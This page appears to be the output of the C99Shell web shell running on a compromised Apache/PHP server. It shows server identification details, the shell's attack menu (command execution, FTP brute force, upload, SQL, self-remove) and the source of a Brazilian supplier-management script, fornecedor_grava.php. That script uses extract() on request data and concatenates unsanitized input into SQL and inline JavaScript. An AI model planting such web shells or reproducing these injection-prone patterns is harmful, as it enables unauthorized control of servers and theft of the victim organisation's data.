!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/fornecedores/   drwxr-xr-x
Free 9.43 GB of 93.48 GB (10.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fornecedor_grava.php (3.64 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../../config/config.php");
include(
INCLUDES "inc_Conexao.php");
include(
INCLUDES "inc_Funcoes.php");
include(
INCLUDES "valida_usuario.inc.php");

header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1   
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Data já vencida

?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php

if ($_POST) {
    
extract($_POST);
    
/*
    echo '<pre>';
    print_r($_POST);
    echo '</pre>';
    die();
    */

    
$idFor $FOR_RowID;

    if (
$FOR_RowID == '') {
        
$acao1 'salvar';
        
$acao2 'salvo';
    } else {
        
$acao1 'alterar';
        
$acao2 'alterado';
    }

    
$fornecedor->FOR_RowID $FOR_RowID;
    
$fornecedor->FOR_CpfCnpj $FOR_CpfCnpj;
    
$fornecedor->FOR_Nome $FOR_Nome;
    
$fornecedor->FOR_Banco_DR $FOR_Banco_DR;
    
$fornecedor->FOR_AgenciaNum $FOR_AgenciaNum;
    
$fornecedor->FOR_AgenciaDV $FOR_AgenciaDV;
    
$fornecedor->FOR_ContaNum $FOR_ContaNum;
    
$fornecedor->FOR_ContaDV $FOR_ContaDV;
    
$fornecedor->FOR_Endereco $FOR_Endereco;
    
$fornecedor->FOR_Complemento $FOR_Complemento;
    
$fornecedor->FOR_Cidade_DR intval($FOR_Cidade_DR);
    
$fornecedor->FOR_CEP $FOR_CEP;
    
$fornecedor->FOR_Email $FOR_Email;
    
$fornecedor->FOR_Contato $FOR_Contato;
    
$fornecedor->FOR_DDD $FOR_DDD;
    
$fornecedor->FOR_Telefone $FOR_Telefone;
    if (
$FOR_AtivoSN != '')
        
$fornecedor->FOR_AtivoSN $FOR_AtivoSN;
    else
        
$fornecedor->FOR_AtivoSN 'N';
    
/*
    echo '<pre>';
    print_r($fornecedor);
    echo '</pre>';
    die();
    */
    
mysql_query("BEGIN");

    if (
salva("FUN_Fornecedores",$fornecedor)) {
        
        
$erro false;
        
        if (
$idFor == '')
            
$idFor mysql_insert_id();

        
//realiza o vínculo do Fornecedor com o(s) grupo(s)
        
if (!empty($chkGrupo)) {
            
//desativa os grupos existentes para o fornecedor e grava a data da desativação
            
$qryDesativa "UPDATE FUN_VinculaFornecedorGrupo SET VFG_AtivoSN = 'N', VFG_DataDesvinculo = now(), VFG_Usuario2_DR = ".$_SESSION['funarpen']['cod_usuario']." WHERE VFG_Fornecedor_DR = $idFor";
            if (!
$exeDesativa mysql_query($qryDesativa)) {
                echo 
'Problema: '.mysql_error();
            }

            
//grava os dados de vínculo dos fornecedores
            
foreach($chkGrupo as $cont => $idGrupo) {
                
extract($chkGrupo);

                
$grupo->VFG_Fornecedor_DR $idFor;
                
$grupo->VFG_Grupo_DR $idGrupo;
                
$grupo->VFG_DataVinculo date('Y-m-d H:i:s');
                
$grupo->VFG_Usuario1_DR $_SESSION['cod_usuario'];

                if (!
salva('FUN_VinculaFornecedorGrupo',$grupo)) {
                    echo 
'Problema: '.mysql_error().'<br />';
                }
            }
        }
        
    } else {
    
        
$erro true;
        echo 
mysql_error();

    }
    
    if (
$erro) {
        
mysql_query("ROLLBACK");
        
$msg 'Problema para '.$acao1.' o Fornecedor! Por favor, tente novamente!';
    } else {
        
mysql_query("COMMIT");
        
$msg 'Fornecedor '.$acao2.' com SUCESSO!';
    }
    
    
/*
    echo '<pre>';
    print_r($tipo);
    echo '</pre>';
    */
} else
if (
$_GET) {
    
extract($_GET);
    
    
$fornecedor->FOR_RowID $id;
    if (
$acao == 'Inativar') {
        
$acao1 'INATIVADO';
        
$acao2 'inativação';
        
$fornecedor->FOR_AtivoSN 'N';
    } else
    if (
$acao == 'Ativar') {
        
$acao1 'ATIVADO';
        
$acao2 'ativação';
        
$fornecedor->FOR_AtivoSN 'S';
    }
    
    if (
salva("FUN_Fornecedores",$fornecedor)) {
        
$msg 'Fornecedor '.$acao1.' com SUCESSO!';
    } else {
        
$msg 'Problemas na '.$acao2.' do Fornecedor! Favor tentar novamente!';
    }
    
/*
    echo '<pre>';
    print_r($fornecedor);
    echo '</pre>';
    die();
    */
}
?>
<script type="text/javascript">
    alert('<?= $msg?>');
    if ('<?= !$erro?>') {
        parent.location = "lista_fornecedores.php";
    } else {
        history.go(-1);
    }
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0034 ]--